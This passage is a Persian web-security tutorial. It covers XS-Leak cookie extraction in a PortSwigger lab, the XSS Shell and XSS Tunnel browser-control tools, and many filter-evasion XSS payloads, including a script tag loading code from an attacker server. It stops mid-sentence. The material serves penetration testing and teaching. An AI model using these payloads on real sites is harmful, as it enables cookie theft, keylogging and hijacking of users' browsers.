حمله XS-Leak از خانواده حملات کانال جانبی (Side Channel) میباشد و برای جمع آوری اطلاعاتی از کاربران استفاده می شود که معمولا قابل دسترس نیست. این حمله از روش های مختلفی اعم از حملات بر مبنای زمان یا Timing Attacks، بر مبنای خطا یا Error-Based Attacks، بر مبنای رویداد onload و غیره … قابل پیاده سازیست. در ادامه این مقاله دو تکنیک Time-Based و رویداد Onload از این حمله در یکی از محیط های آزمایشگاهی PortSwigger را تشریح می کنیم. هدف این محیط آزمایشگاهی این است که مهاجم اقدام به دریافت مقدار Cookie کند که برای آدرس دیگری تنظیم شده است.

روش بر مبنای زمان یا Time-Based

در روش Time-Based با اندازه گیری زمان قبل و بعد Payload های اجرا شده و مقایسه زمان ها به استخراج اطلاعات میپردازیم .برای حل این آزمایشگاه به نکات زیر باید توجه شود :

  • تزریق کد مخرب باید بین دو Single Qoutation صورت بگیرد.
  • تنها استفاده از کارکتر های a-zA-Z0-9’+.` در Payload های طراحی شده امکان پذیر است.

پارامتر قابل تزریق با نام x به صورت زیر میباشد:

s=document.createElement('script');s.async=true;s.src='//photochrome.ch/a.js';top.document.getElementsByTagName('head')[0].appendChild(s);

برای تزریق کد مناسب باید با استفاده از Single Qoutation از رشته تعریف شده عبور کنیم و با استفاده از علامت + آن رشته را با Payload تزریقی خود ترکیب کنیم و درون متغیر x ذخیره کنیم. این یعنی تابع toString در JavaScript فراخوانی خواهد شد. برای طراحی Payload مناسب، نیاز به فراخوانی تابع میباشد و برای تعریف ورودی توابع باید از کارکتر های () استفاده کرد، به دلیل محدودیت های کارکتری اعمال شده در آزمایشگاه امکان استفاده از این دو کارکتر نیست و به جای آن از دو علامت `` که همان کار را برای ما انجام میدهد استفاده میکنیم. اما باید به این نکته توجه داشت که تنها میتوان یک آرگومان به ورودی تابع پاس داد و آرگومان ورودی نمیتواند متغیر از پیش تعریف شده باشد زیرا استفاده از کارکترهای {}$ مجاز نیست.

خب ، از چه روشی برای استخراج داده موردنظر تحت شرایط گفته شده باید استفاده کرد؟

با وجود محدودیت کارکتری تایین شده، امکان دسترسی به ویژگی window در JavaScript و استفاده از محتوای DOM مانند document.cookie و غیره … وجود دارد. با استفاده از کد زیر میتوان به کارکترهای موجود در موقعیت مشخص شده از Cookie و کارکتر کد های آن ها دسترسی داشت:

// document.cookie = "secret=1337";
document.cookie.charAt`0` // "s"
document.cookie.charCodeAt`0` // 115

قدم بعدی ایجاد روش مقایسه ای برای حدس کارکتر های Cookie میباشد به این صورت که مقایسه بین کارکتر انتخاب شده از Cookie با کارکتری که دربرابر آن تست میشود انجام شود. این کار با استفاده از دو تابع ()split و ()repeat در JavaScript امکان پذیر است.تابع ()split رشته انتخاب شده را بر اساس رشته ی مشخص شده در آرگومان ورودی خود جدا سازی میکند و آرایه ای از تکه های جدا شده رشته میسازد.تابع ()repeat رشته ی انتخاب شده را به اندازه ای که در آرگومان این تابع مشخص شده تکرار میکند.

در نتیجه با تکرار کارکتر انتخاب شده از Cookie به تعداد زیاد و سپس split کردن آن، تفاوت تایم اجرای کد بین زمانی که کارکتر تطبیق پیدا میکند و زمانی که این اتفاق نمی افتد به وجود می آید و همین برای تشخیص کارکتر درست کافی ست. به مثال زیر توجه کنید:

let init = performance.now();
"s".repeat(40000000).split("s"); // (40000001) ["", "", "", "", …]
console.log(performance.now() - init); // 1098.244999999224

let init = performance.now();
"s".repeat(40000000).split("a"); // ["ssssss…ssssss"]
console.log(performance.now() - init); // 31.080000000656582

در بخش اول کد بالا ابتدا زمان اجرای کد وقتی کارکتر تطبیق داده میشود با استفاده از ()performance.now اندازه گیری شده و در بخش دوم زمان اجرا وقتی کارکتر تطبیق داده نمیشود محاسبه شده، همانطور که میبینید وقتی کارکتر قابل جداسازی در رشته وجود داشته باشد برای جدا کردن آنها و تشکیل آرایه زمان زیاد تری نیاز است و با استفاده از این تفاوت تایم لود صفحه میتوان اطلاعات استخراج کرد. نکته ای که در اینجا شایان توجه است این است که به دلیل محدودیت کارکتری تایین شده در این چالش ما نمیتوانیم کارکتر هایی مانند < > را به آرگومان ورودی تابع split پاس دهیم، برای حل این مشکل کارکتر کد های هر کارکتر باید به رشته تبدیل شوند. برای این کار از مبنای hex استفاده کردیم زیرا تمام کارکترهای ASCII به صورت دو بایتی از رنج 00 تا FF قابل نمایش هستند. تابع toString(16) عمل تبدیل به رشته hex را انجام میدهد.

// document.cookie = "secret=1337";
document.cookie.charCodeAt`0` // 115
.toString`16` // "73"
.charAt`0` // "7"

document.cookie.charCodeAt`0` // 115
.toString`16` // "73"
.charAt`1` // "3"

از آنجایی که حملات بر مبنای زمان یا Time-Based به دلیل تاخیر شبکه ممکن است دچار مشکل شوند و این حمله برای تشخیص درست کارکتر تطبیق داده شده به زمان لود زیاد صفحه احتیاج داشت، میتوان از روش دیگری برای استخراج اطلاعات استفاده کرد.

استفاده از رویداد Onload

در این روش برای طراحی Payload تابع match گزینه خوبی میتواند باشد، به این صورت که کارکترهای Cookie دونه به دونه دربرابر کارکترهای ورودی تابع match تست شوند. اگر رشته ی موجود در ورودی این تابع با رشته ی انتخاب شده در Cookie تطبیق پیدا کنند، این تابع آرایه ای از آن رشته برمیگرداند. در غیر این صورت null برگردانده میشود.

به Payload طراحی شده زیر توجه کنید:( کد زیر با توجه به مقدار secret=1337 در Cookie طراحی شده)

// document.cookie = "secret=1337";
document.cookie.charCodeAt`0` // returns 115
.toString`16` // converts 115 to "73", hexadecimal base
.match`73` // returns a match ["73", index: 0, input: "73", groups: undefined]
.toString`` // evaluates the earlier match to "73"

// document.cookie = "secret=1337";
document.cookie.charCodeAt`0` // returns 115
.toString`16` // converts 115 to "73", hexadecimal base
.match`74` // returns null
.toString`` // VM528:2 Uncaught TypeError: Cannot read property 'toString' of null at <anonymous>:2:54

در کد بالا بعد از تشخیص match بودن کارکتر و بازگرداندن آرایه، با استفاده از تابع toString قصد داریم تا آرایه حاوی کارکتر تطبیق داده شده را به رشته تبدیل کنیم. همانطور که میبینید اگر این تابع در صورت match نشدن کارکتر null برگرداند با خطای exception مواجه خواهیم شد. این تفاوت اجرای کد باعث میشود تا با زدن Payload های مبنای boolean کارکتر های Cookie را حدس بزنیم.

برای استخراج اطلاعات همانند روش Time-Based نمیتوانیم از تابع ()performance.now استفاده کنیم. به جای آن از تابعی استفاده میکنیم که در صورت اجرای صحیح کد مارا به صفحه دیگری هدایت (Redirect) کند. این تابع location.assign(page) میباشد.

x = '' + 's'.match`s`.toString`` + location.assign`1` + '';

زبان JavaScript می تواند اطلاعات زیادی از کاربران را دریافت کند اما قادر به دریافت و نمایش اطلاعات یا محتوای یک Tab دیگر در مرورگر قربانی نیست زیرا مکانیزم Same-Origin-Policy از خواندن یک محتوا که در آدرس دیگری قرار دارد جلوگیری می کند. در نتیجه برنامه نویسان برای نمایش یک محتوا (فیلم Youtube، پست Facebook و …) که در وبسایت دیگری قرار دارد معمولا از IFrame استفاده می کنند.یکی از شایع ترین روش های حمله XS-Leaks بررسی اجرا شدن رویداد onLoad تگ IFrame می باشد.

از آنجایی که در این چالش ما صفحه موردنظر را درون iframe لود کرده ایم میتوان با استفاده از این رویداد و تعداد دفعات فراخوانی آن، عمل redirect درون Payload طراحی شده را تشخیص داد. رویداد onload در تگ iframe وقتی فراخوانی میشود که صفحه بارگزاری شده درون iframe به طور کامل خوانده شده باشد، به همین دلیل یکی از دو اتفاق های زیر میوفتد:

اگر کارکتر match بشود:با خطا مواجه نمیشویم، Redirect قبل از اینکه صفحه کامل لود بشود اتفاق میوفتد. وقتی صفحه Redirect شده به طور کامل لود شد، رویداد load فراخوانی میشود.

اگر کارکتر match نشود:با خطا مواجه میشویم، صفحه چالش به طور کامل لود میشود و رویداد load فراخوانی میشود.

همانطور که میبینید در هر دو حالت رویداد load یک بار فراخوانی میشود در نتیجه امکان استخراج اطلاعات وجود ندارد، برای حل این مشکل از تابع ()stop استفاده میکنیم. این تابع همانند دکمه stop در مرورگر تنها اجازه اجرای کد در بلاک فعلی را میدهد و از لود شدن منابع بلاک های بعدی کد جلوگیری میکند:

<html>
<head>
    <script>
        window.stop();
        location.assign("/example");
    </script>
</head>
<body>
<iframe src="https://www.example.com"></iframe>
</body>
</html>

در مثال بالا، Redirect به example/ اتفاق میوفتد اما iframe که در بلاک بعدی کد است لود نمیشود. بنابراین اگر Payload طراحی شده ما به صورت زیر باشد:

<script>
    x = '' + stop`` + `s`.match`s`.toString`` + location.assign`1` + '';
</script>

در این حالت نیز یکی از دو اتفاق زیر میوفتد:اگر کارکتر match نشود:با خطا مواجه میشویم و Redirect اتفاق نمیوفتد.تابع stop از لود شدن کامل صفحه چالش جلوگیری میکند در نتیجه رویداد load تگ iframe هرگز فراخوانی نمیشود.اگر کارکتر match شود:با خطا مواجه نمیشویم و Redirect اتفاق میوفتد.پس از لود کامل صفحه Redirect شده رویداد load تگ iframe صدا زده میشود.در نتیجه با محاسبه تعداد دفعات صدا زده شدن رویداد load تگ iframe میتوان اطلاعات استخراج کرد و کارکترهای درست از Cookie قربانی را حدس زد.

تونل زنی XSS یا XSS Tunneling

XSS Tunnel یک پروکسی استاندارد HTTP میباشد که بر روی سیستم مهاجم قرار میگیرد. برای درک بهتر این موضوع ابتدا نیاز داریم با دو مفهوم XSS Channel و XSS Shell آشنا شویم.

کانال XSS یا XSS Channel

مفهوم XSS Channel به یک کانال ارتباطی بین دو سیستم گفته میشود که توسط یک حمله موفقیت آمیز XSS باز میشود. به عبارتی دیگر این کانال در سطح عملیاتی به نوعی از برنامه AJAX گفته میشود که توانایی اجرای دستورات، ارسال پاسخ و برقراری ارتباط با دامنه مقابل را دارد.

خط فرمان XSS یا XSS Shell

XSS Shell ابزاری برای تنظیم یک کانال XSS بین سیستم مهاجم و قربانی میباشد تا مهاجم بتواند از طریق ارسال دستورات به مرورگر قربانی، آن را تحت کنترل گیرد. این ارتباط دو جهته میباشد. برای این کار، ابتدا مهاجم باید به وسیله آسیب پذیری XSS شل JavaScript ای XSS که حاوی رفرنسی از سرور XSS Shell میباشد را تزریق کند. سپس میتواند درخواست ها و پاسخ هارا مشاهده کند و مرورگر قربانی را برای رسیدگی به درخواست ها تنظیم کند.به نمونه Payload زیر توجه کنید:

http://example.com/q="><scriptsrc="http://xssshellserver/xssshell.asp"></script>
نحوه کارکرد XSS Shell
نحوه کارکرد XSS Shell

یک برنامه XSS Shell دارای سه بخش اصلی میباشد:

1. بخش سمت سرور: این بخش به هماهنگی ارتباط بین مهاجم و قربانی میپردازد. بخش سمت سرور، به وب سرور ASP و IIS نیاز دارد و از پایگاه داده MS Access به عنوان محل ذخیره سازی استفاده میکند.

2. بخش سمت کاربر (Client) : این بخش که به زبان JavaScript نوشته شده است، در مرورگر قربانی بارگزاری میشود و وظیفه دریافت و پردازش دستورات و فراهم کردن کانال بین مهاجم و قربانی را دارد.

3. بخش رابط ادمین: در این بخش مهاجم میتواند دستورات جدیدی ارسال کند و پاسخ برگشت داده شده از مرورگر قربانی را به سرعت مشاهده کند. این بخش نیز به زبان ASP میباشد و به وب سرور IIS نیاز دارد.

بخش رابط ادمین در XSS Shell
بخش رابط ادمین در XSS Shell
نحوه تست
  1. مهاجم بعد از پیدا کردن آسیب پذیری XSS Reflected یا XSS Stored، کد مخرب JavaScript ای از XSS Shell را تزریق میدهد.
  2. قربانی با دنبال کردن لینک موجود در Payload باعث اجرا شدن کد JavaScript ای در آن دامنه میشود.
  3. مرورگر قربانی به طور متناوب شروع به ارسال درخواست به سرور XSS Shell میکند و منتظر دستورات جدید میماند.
  4. مرورگر قربانی بعد از دریافت دستورات جدید مانند Get Cookies، Execute custom JavaScript، Get Key logger Data و غیره … به پردازش آن دستورات و ارسال نتیجه مناسب به سرور XSS Shell میپردازد.
  5. در نتیجه مهاجم میتواند دستورات جدید و متفاوت دیگری را به سمت مرورگر قربانی بفرستد و پاسخ آنها را در بخش رابط ادمین مشاهده کند.
نکات مورد توجه :

ارتباط XSS Shell بر مبنای بارگزاری از راه دور JavaScript میباشد در نتیجه این موضوع به دور زدن مکانیزم SOP کمک میکند. در نخستین اجرای کد، XSS Shell صفحه آسیب پذیر را دوباره تولید میکند، بنابراین حتی اگر قربانی لینک موجود در کد مخرب را دنبال کند، XSS Shell درون صفحه باقی میماند. این موضوع باعث میشود تا کنترل مرورگر قربانی توسط مهاجم باقی بماند، در نتیجه به محض باز شدن پنجره توسط قربانی، نشست کاربری ایجاد شده و مرورگر به کنترل مهاجم در می آید.

  • برخی از دستورات XSS Shell در ادامه آمده است:
  • Get Cookie
  • Get Current Page
  • Execute custom Javascript
  • Get Mouse Log
  • Get Keylogger Data
  • Get Clipboard
  • Get Internal IP Address (Firefox – JVM)
  • Check visited links (CSS history hack)
  • Crash Browser

این برنامه متن باز است بنابراین عملیاتی کردن دستورات مانند اسکن پورت های باز (Port Scanning) آسان میشود. XSS Shell در آسیب پذیری XSS Stored بسیار خطرناک است زیرا مهاجم میتواند به طور همزمان صدها مرورگر را تحت کنترل و مدیریت خود داشته باشد.

تونل زنی XSS یا XSS Tunneling

این مفهوم به معنای تونل کردن ترافیک های HTTP توسط یک کانال XSS میباشد تا امکان استفاده مجازی هر برنامه ای که از پروکسی های HTTP پشتیبانی میکنند فراهم شود.

تونل XSS یا XSS Tunnel

XSS Tunnel یک پروکسی استاندارد HTTP میباشد که بر روی سیستم مهاجم قرار میگیرد . در نتیجه هر ابزاری که برای استفاده از پروکسی XSS Tunnel پیکربندی شده باشد، تونلی برای رد و بدل کردن ترافیک خود از طریق XSS Channel روی سرور XSS Shell میسازد. این پروکسی درخواست ها و پاسخ هارا شفاف و واضح میکند تا معتبر سازی شوند. XSS Tunnel به زبان .NET نوشته شده بنابراین برای کارکردن به NET Framework. نیاز دارد.

نشست ایجاد شده ی XSS Tunnel برروی پروکسی وب
نشست ایجاد شده ی XSS Tunnel برروی پروکسی وب
فواید XSS Tunneling
  • استفاده هر برنامه و ابزار مجازی که پروکسی های HTTP را پشتبانی میکنند را ممکن میسازد.
  • امکان استفاده ابزارهای خودکار مانند Nikto، SQL Injectors و غیره … در برابر محل هایی از وبسایت که محدودیت IP دارند را فراهم میکند.
  • میتوان مرورگر محلی خود را برای استفاده از XSS Tunnel تنظیم کرد، در نتیجه میتوانید با مرورگر خودتان و نام کاربری و رمزعبور قربانی در وبسایت بگردید بدون اینکه مرورگر بررسی های احراز هویتی از قبیل بررسی Cookie، آدرس IP و User Agent را انجام بدهد.
  • این پروکسی ابزار خوبی برای نمایش بهتر نتیجه حمله XSS میباشد.
محیط تنظیمات Listening ابزار XSS Tunnel
محیط تنظیمات Listening ابزار XSS Tunnel
نحوه کارکرد XSS Tunnel

1. پروکسی XSS Tunnel به سرور XSS Shell مشخص شده متصل میشود و مشخصات قربانی تحت کنترل را بدست می آورد.2. کلاینت HTTP محلی (مانند مرورگر، Nikto و غیره …) به XSS Tunnel درخواست ارسال میکنند.

  • این پروکسی درخواست های HTTP فرستاده شده را به درخواست هایی تبدیل میکند که برای سرور XSS Shell قابل فهم و پردازش باشد، و سپس این درخواست هارا به سرور XSS Shell میفرستد.
  • سرور XSS Shell درخواست هارا درون پایگاه داده خود ذخیره میکند.(این درخواست ها فقط برای قربانی مشخص شده در XSS Tunnel کار میکند، ID این قربانی در بخش Dashboard در XSS Tunnel قرار دارد).

3. بخش سمت کاربر XSS Shell که در مرورگر قربانی قرار دارد به بخش سمت سرور XSS Shell درخواست ارسال میکند و منتظر دستورات جدید میماند.4. این XSS Tunnel درون Cache محلی، سرور XSS Shell را برای پاسخ های مربوط به درخواست های قبلی فرستاده شده بررسی میکند. در صورت وجود پاسخ آنها را به پاسخ های معتبر و قابل فهم HTTP تبدیل میکند و به سمت برنامه سمت کاربر ارسال میکند.

پروسه حمله
  1. راه اندازی سرور XSS Shell
  2. تنظیم XSS Tunnel برای استفاده از سرور XSS Shell
  3. انجام حمله XSS
  4. باز کردن XSS Tunnel و انتظار برای قربانی
  5. تنظیم ابزار یا مرورگر برای استفاده از XSS Tunnel
  6. استفاده از مرورگر یا ابزار برای دامنه مورد هدف، در صورت مشاهده قربانی درون XSS Tunnel

مبهم سازی

وجود آسیب پذیری XSS را به طور کلی میتوان با تزریق کردن کد مخرب JavaScript ای دارای تگ script مانند کد زیر بررسی کرد این سریع ترین روش برای تشخیص چنین آسیب پذیری میباشد:

"><script>alert(1)</script>

اما در بسیاری از اوقات وب سرور ها به وسیله مکانیزم های دفاعی مانند WAF که برای تشخیص آسیب پذیری از امضا ها (Signature) و رجکس ها استفاده میکنند، ورودی های کاربران را فیلتر و یا بلاک میکنند، به این منظور در ادامه به روش های دور زدن این فیلترها میپردازیم.

استفاده از فضای خالی (Whitespace)

همانطور که میدانید HTML فاصله های زیاد را به طور خودکار به تک فاصله تبدیل میکند، بنابرین اگر برای سرور وجود تگ <script> در ورودی مجاز نباشد این روش به نوعی ظاهر تگ را تغییر داده و فیلتر را دور میزند:

<script >alert(1)</script>
<script >alert(1)</script>
<img src="java script:al ert(1)">

دو تگ بالا در HTML یکی هستند, (این روش در مرورگر های جدید کار نمیکند). میتوان از Html Encode نیز برای ایجاد تب، خط جدید، Carriage Returns و همچنین غیر قابل تشخیص بودن کلمات کلیدی و توابع استفاده کرد:

<script&#09;>alert(1)</script>
<script&#10;>alert(1)</script>
<script&#13;>alert(1)</script>
<img src="java&#x09;script:al&#x09;ert(1)">
<a href="jav&#x0A;a
script:&#x0A;ale&#x0Drt;(1)">Visit google.com</a>

بعضی از فیلترها به دنبال :javascript" یا :javascript' هستند و انتظار وجود فاصله بعد از Qoutation ندارند، در نتیجه اضافه کردن هر تعداد فاصله یا متا کارکترها از 1 تا 32 معتبر خواهد بود:

<a href=" &#x8; &#23; javascript:alert(1)">Click this link!</a>

غیر حساس بودن به کوچک یا بزرگ بودن حروف

روش بعدی استفاده از Case Insensetive بودن HTML میباشد:

<ScRipT>alert(1)</sCriPt>
<iMg onerror=alert(1) src=a>

در بعضی مواقع برای دور زدن مکانیزم هایی که تگ های خاصی را فیلتر میکنند میتوان از اسم تگ های دلخواه و نا معتبر برای تعریف رویداد ها (Event Handlers) استفاده کرد:

<x onclick=alert(1) scr=a>click here</x>

استفاده از بایت های پوچ (Null Bytes)

روش بعدی استفاده از Null byte می باشد . از آنجا که مفسر جاوا اسکریپت Null byte را به صورت رشته ی پوچ درنظر میگیرد اضافه کردن آن به تگ ها در اجرای کد تاثیری نخواهد داشت و فقط باعث دور زدن فیلتر مربوطه میشود زیرا WAF ها معمولا با زبان C نوشته میشوند و Null byte ها در زبان C با معنی هستند:

<%00script>alert(1)</script>
<script>al%00ert(1)</script>
<[%00]img onerror=alert(1) src=a>
<img onerror=a[%00]lert(1) src=a>
<i[%00]mg onerror=alert(1) src=a>

از Null byte ها در هرجای کد موردنظر برای مثال در ویژگی ها یا دیگر تگ های HTML میتوان استفاده کرد.

استفاده از دنباله های Escape

با استفاده از Escape Sequence ها نیز میتوان کارکترهای معنی دار مانند <> که برای باز و بسته شدن تگ ها به کار برده میشوند را همانند مثال زیر به صورتی دیگر نشان داد:

"%e%3cscript%3ealert(1)%3c/script%3e

استفاده از HTML Encoding

به دلیل اینکه مرورگر قبل از پردازش مقادیر ویژگی ها آنها را HTML Decode میکند، میتوان از HTML Encode برای مبهم سازی استفاده کرد:

<img onerror=alert(1) src=a>

همچنین بهتر است به این نکته توجه داشت که بیشتر مرورگر ها میتوانند انحرافات مختلف در Encoding ها را بپذیرند به طوری که فیلتر هایی که از HTML Encoding با خبر هستند، ممکن است نادیده بگیرند. برای مثال شما میتوانید از فرمت هگزا دسیمال و دسیمال استفاده کنید یا صفر های زائد اضافه کنید و سمی کالن آخر را حذف کنید:

<img onerror=alert(1) src=a>
<img onerror=alert(1) src=a>
<img onerror=alert(1) src=a>
<img onerror=alert(1) src=a>
<img onerror=alert(1) src=a>
<img onerror=a&#108ert(1) src=a>

تغییر و دستکاری تگ ها

اگر فیلترها، کد را اسکن کنند و تگ های خاص مانند تگ script را از کد حذف کنند، قرار دادن تگ ها در بین خودشان باعث میشود تا بعد از حذف تگ ها، کد باقی مانده معتبر بماند. در مثال زیر کد در سمت سرور Sanitize شده و تگ <script> از کد پاک میشود:

"><scr<script>ipt>document.write("Successful XSS")</scr<script>ipt>

در نتیجه کد خروجی به صورت زیر در می آید و اجرا میشود:

 "><script>
document.write("Successful XSS")
</script>

روش دیگر استفاده از براکت های اضافی تگ ها میباشد زیرا مرورگر های توانایی اجرای کد های JavaScript با براکت های اضافی را دارند:

<<script>alert(1)//<</script>

تگ script در کد بالا توسط مرورگر تشخیص داده میشود اما در سمت سرور به دلیل براکت های اضافی فیلتر ها متوجه وجود تگ script نمیشوند و در نتیجه آن را Sanitize نمیکنند؛ // برای کامنت کردن بقیه کد برای جلوگیری از ایجاد خطاست. همچنین میتوان از تلاش مرورگر ها برای پردازش و کامل کردن تگ های خراب شده استفاده کرد، مثال زیر تگ a را بدون ویژگی href و Qoutation مشاهده میکنید، (از بقیه رویداد ها نیز میتوان استفاده کرد).

<a onmouseover=alert(document.cookie)> google.com</a>

کد زیر نیز مثال دیگری از عمل کامل کردن تگ خراب شده img در مرورگر را نشان میدهد:

<img """><script>alert("alert(1)")</script>">
<img """><script src=exploit.js></script>">

استفاده از ویژگی (Attribute) ها

از ویژگی (Attribute) در تگ ها نیز میتوان برای اجرای کد استفاده کرد این در صورتی است که نخواهیم از تگ <script> استفاده کنیم، این ویژگی ها، رویداد (Event) ها در JavaScript میباشند:

" onfocus="alert(1)

همچنین میتوان تگ جدیدی را به همراه ویژگی تزریق کرد. برای مثال:

<img onerror=alert(error) src=a>

در کد بالا در صورت وجود خطا هشداری به ما نمایش داده میشود که این خطا به طور عمد مسیر فایل اشتباه میباشد.

به عنوان نکته آخر در این بخش توجه داشته باشید که حتی اگر در حمله استفاده از ویژگی برای تگ ها نیاز نباشد بهتر است همیشه محتوای اضافی بعد از نام تگ اضافه شود زیرا باعث دور زدن بعضی از فیلتر ها میشود:

<script/anyjunk>alert(1)</script>

استفاده از جدا کننده (Delimiter) ها

روش بعدی استفاده از Delimiter یا جدا کننده ها به صورت هوشمندانه میباشد، به طور معمول HTML از فاصله برای جدا کردن ویژگی (Attribute) ها استفاده میکند، اما از Single Qoutation و Double Qoutation یا Backtick (`) نیز میتوان برای جداسازی ویژگی ها استفاده کرد:

<img onerror="alert(1)"src=a>
<img onerror='alert(1)'src=a>
<img onerror=`alert(1)`src=a>

گاهی اوقات فیلتر ها در ورودی به دنبال کلمات کلیدی مانند "on" در ابتدای ویژگی ها، برای پیدا کردن رویداد (Event) های JavaScript میباشند، در مثال زیر استفاده از Double Qoutation به عنوان جدا کننده باعث میشود تا تنها ابتدای ویژگی src مورد بررسی قرار بگیرد و فیلتر متوجه ویژگی onerror نشود:

<img src="x"onerror=alert(1)>

بعد از نام تگ ها به جای فاصله میتوان از کارکتر های دیگری مثل / برای جدا کردن تگ از ویژگی آن استفاده کرد:

<img/onerror=alert(1) src=a>
<img/anyjunk/onerror=alert(1) src=a>

برای مثال اگر محدودیت وجود فاصله در ورودی داشته باشیم میتوان روش بالا را با اضافه کردن کارکتر های اضافی بدنبال اسم تگ ترکیب کرد و از کد زیر استفاده کرد، توجه داشته باشید که از هیچ فاصله ای در Payload زیر استفاده نشده:

<img/src="pic.jpg"onload=&#x6A;avascript:eval(alert(1))>
<svg/onload=alert('XSS')>
<img/onerror="alert(1)"src=a>

استفاده از تابع eval

از تابع eval نیز برای اجرای کد های JavaScript به طور غیر مستقیم و بدون استفاده از تگ <script> میتوان استفاده کرد، این تابع یک رشته را به عنوان آرگومان دریافت کرده و آن را بررسی و اجرا میکند. برای مثال نتیجه کد زیر عدد 4 میباشد:

var x=3;
var y=1;
var res = eval("x + y");
console.log(res);

آرگومان تابع را میتوان برای اطمینان بیشتر از اجرای آن Encode کرد برای مثال:

eval(atob('amF2YXNjcmlwdDphbGVydCgxKQ'));

در بالا از تابع atob برای Decode کردن رشته Encode شده توسط Base64 استفاده شده است، همچنین میتوان آن را به این صورت نوشت:

eval('al\e\rt(1)');

استفاده از Backslash و کارکتر هایی به دنبال آن که در Escape Sequences ها بی معنی هستند کد JavaScript را تغییر نخواهد داد. در صورتی که تابع eval نیز در لیست سیاه (Blacklist) تعریف شده باشد میتوان با استفاده از متد replace آن را دور زد:

'alert(1)'.replace(/.+/,eval);

استفاده از UTF-7 Charset

Character Encoding چیست؟مرورگر ها از طریق هدر Content-Type میدانند که از کدام Encoding کارکتری باید استفاده کنند تا صفر و یک هایی که یک فایل را به کارکتر تبدیل میکند را ترجمه کنند، به همین دلیل متوجه میشوند که این کارکتر a واقعا یک a میباشد. در معمول ترین Encoding مورد استفاده در وب اپلیکیشن یعنی UTF-8، نمایش باینری کارکتر a ، به صورت 01100001 میباشد. UTF-8 برای نمایش کارکترها به 8 ، 16 و تا 32 بیت احتیاج دارد بنابراین در نمایش a به 8 بیت یا 1 بایت نیاز دارد. نمایش کارکترهای موجود در الفبای نابینایان مانند ⠟ کمی سخت تر است و به صورت 11100010 10100000 10011111 در 3 بایت نمایش داده میشود.با این حال همه متون از UTF-8 استفاده نمیکنند، تا 2007، ASCII معمول ترین Encoding مورد استفاده در صفحات وب به شمار میرفت، بعد از آن UTF-8 از آن پیشی گرفت. ASCII تنها از 7 بیت برای نمایش یک کارکتر استفاده میکند که امکان ایجاد 128 ترکیب مختلف در آن وجود دارد. نکته مهم تر این است که ASCII زیر مجموعه UTF-8 میباشد بنابراین نمایش ASCII کارکتر a دقیقا شبیه نمایش آن در UTF-8 میباشد با این تفاوت که UTF-8 هفت بیت قبل را با صفر پر میکند. UTF-7 که شبیه ASCII از 7 بیت استفاده میکند برای استفاده در ایمیل طراحی شد. 7 بیت زیاد نیست و برای استفاده کارکترهای بیشتر از 128 تکنیکی به نام Shifted Encoding استفاده میشود. این یعنی چند کارکتری که با استفاده از 7 بیت قابل نمایش هستند معنی خاصی دارند، برای مثال کلمه فنلاندی Tämä به صورت مستقیم با UTF-7 قابل نمایش نیست چون دنباله بیتی متناظر با کارکتر ä ندارد، برای حل این مشکل ä به صورت -AOQ+ نوشته میشود که در نتیجه کلمه Tämä به -T+AOQ-m+AOQ تبدیل میشود. همانطور که میبینید کارکتر + تکنیک Shifted Encoding را فعال میسازد و کارکتر - آن را غیر فعال میکند.در نتیجه این تکنیک باعث میشود تا بتوان UTF-7 را به گونه ای استفاده کرد که در حملات XSS موثر باشد.

طراحی Payload های XSS با استفاده از UTF-7 Charset

با استفاده از تکنیک Shifted Encoding ، کارکتر های < و > میتوانند به صورت های -AD4+ و -ADw+ نمایش داده شوند، بنابراین <script>alert()</script> به صورت زیر در می آید:

+ADw-script+AD4- alert()+ADw-/script+AD4-

در نتیجه به دلیل اینکه Payload بالا در UTF-8 دارای کارکتر خطرناک نیست، Sanitize و Escape نمیشود زیرا توابع Sanitize مانند htmlentities در PHP از UTF-8 به عنوان Encoding پیش فرض استفاده میکنند. بنابراین اگر مرورگر را برای استفاده از UTF-7 تنظیم کنیم، زمانی که صفحه لود میشود Payload بالا در ورودی به صورت <script>alert()</script> پردازش و اجرا میشود.

اکثر مرورگر های جدید به جز Internet Explorer 11 از UTF-7 پشتیبانی نمیکنند. در ادامه روش هایی را بیان میکنیم که به مرورگر بفهمانیم تا از UTF-7 برای پردازش صفحه استفاده کند:

1.استفاده از Byte Order Marker

بعضی وقت ها Byte Order Mark (BOM) در ابتدای صفحه، میباشد و از آن برای مشخص کردن Encoding و نوع Endian آن استفاده میشود، بنابراین اگر دیدید BOM ای در صفحه برای XSS استفاده شده، بدانید کار نمیکند زیرا مرورگر های برای استفاده از UTF-7 فریب نمیخورند.

2.استفاده از هدر Content-Type

Content-Type: text/html; charset=utf-8

همانند BOM، هدر Content-Type نیز با استفاده از XSS قابل تغییر نیست.3.استفاده از تگ Meta

بر اساس استاندارد HTML5، عنصری که مشخص کننده نوع Encoding کارکتر است باید در 1024 بایت اول صفحه تعریف شده باشد. (در مرورگر های Mozilla باید در 512 بایت اول تعریف شده باشد). بنابراین تگ meta در هدر صفحه ترجیحا قبل از عنصر title به صورت زیر تعریف میشود:

<meta charset="utf-7">

در نتیجه اگر صفحه ورودی کاربر را به گونه ای برگرداند که مهاجم بتواند ویژگی charset در تگ meta را تغییر دهد، حمله XSS امکان پذیر خواهد بود.4.استفاده از الگوریتم تشخیص مرورگر

زمانی که نوع انگودینگ نه در تگ Meta و نه در هدر Content-Type مشخص نشده باشد، مرورگر تلاش میکند تا خودش نوع Encoding را تشخیص دهد، برای مثال به کد زیر توجه کنید:

+ADw-p+AD4-Welcome to UTF-7!+ADw-+AC8-p+AD4- +ADw-script+AD4-alert(+ACc-utf-7!+ACc-)+ADw-+AC8-script+AD4- 

کد بالا از رشته ای است که با تکنیک Shifted Encoding طراحی شده تا به مرورگر نوع Encoding خود یعنی UTF-7 را بفهماند، این کد به صورت UTF-8 به صورت زیر است:

<p>Welcome to UTF-7!</p> <script>alert('utf-7!')</script>

در نتیجه اگر Encoding جایی مشخص نشده باشد و ورودی کاربر در صفحه برگردانده شود، بدون اینکه تگ meta دستکاری شود، مرورگر IE8 میتواند به این نوع حمله آسیب پذیر باشد.

تکنیک های دور زدن مکانیزم های دفاعی

دور زدن SOP با استفاده از JSONP

AJAX چیست؟

AJAX مخفف Asynchronous JavaScript And XML میباشد. این تکنولوژی به طور گسترده در وبسایت ها استفاده میشود و یک زبان برنامه نویسی نیست و از ترکیب دو خاصیت زیر یهره میگیرد:

  • آبجکت XMLHttpRequest در مرورگر (سمت کاربر) برای برقراری ارتباط با وب سرور
  • JavaScript و ساختار DOM در HTML برای نمایش و استفاده از داده ها

این تکنولوژی این این امکان را فراهم میکند که :

